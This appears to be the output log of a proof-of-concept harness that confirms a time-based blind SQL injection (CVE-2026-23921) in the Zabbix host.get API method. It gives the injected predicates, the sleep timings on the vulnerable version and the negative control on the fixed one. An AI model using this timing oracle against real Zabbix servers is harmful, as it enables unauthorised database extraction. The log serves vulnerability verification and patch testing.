Cache/source reference: /pruva/project-cache/repo
WARNING: Running in rootless-mode without cgroups. Systemd is required to enable cgroups in rootless-mode.
=== Starting Zabbix 7.0.21 (vulnerable) ===
{"authenticated_low_privilege": true, "endpoint": "/api_jsonrpc.php", "false_median_seconds": 0.04664472601143643, "false_predicate": "ascii(substring(version(),1,1)) > 126", "false_seconds": [0.12055521598085761, 0.04664472601143643, 0.0203327449853532], "median_delta_seconds": 3.973936498980038, "method": "host.get", "role": "vulnerable", "schema_version": 1, "sleep_seconds": 2, "true_median_seconds": 4.020581224991474, "true_predicate": "ascii(substring(version(),1,1)) > 1", "true_seconds": [4.020581224991474, 4.021482935000677, 4.017410975997336]}
=== Starting Zabbix 7.0.22 (fixed) ===
{"authenticated_low_privilege": true, "endpoint": "/api_jsonrpc.php", "false_median_seconds": 0.018771644972730428, "false_predicate": "ascii(substring(version(),1,1)) > 126", "false_seconds": [0.04074789001606405, 0.018771644972730428, 0.014171512972097844], "median_delta_seconds": -0.0018714029574766755, "method": "host.get", "role": "fixed", "schema_version": 1, "sleep_seconds": 2, "true_median_seconds": 0.016900242015253752, "true_predicate": "ascii(substring(version(),1,1)) > 1", "true_seconds": [0.036768262973055243, 0.016900242015253752, 0.014639093016739935]}
{"confirmed": true, "fixed_median_delta_seconds": -0.0018714029574766755, "fixed_negative_control": true, "fixed_rejected_payload": true, "schema_version": 1, "vulnerable_median_delta_seconds": 3.973936498980038, "vulnerable_timing_oracle": true}
CONFIRMED: CVE-2026-23921 blind SQL injection reached through the real Zabbix API endpoint.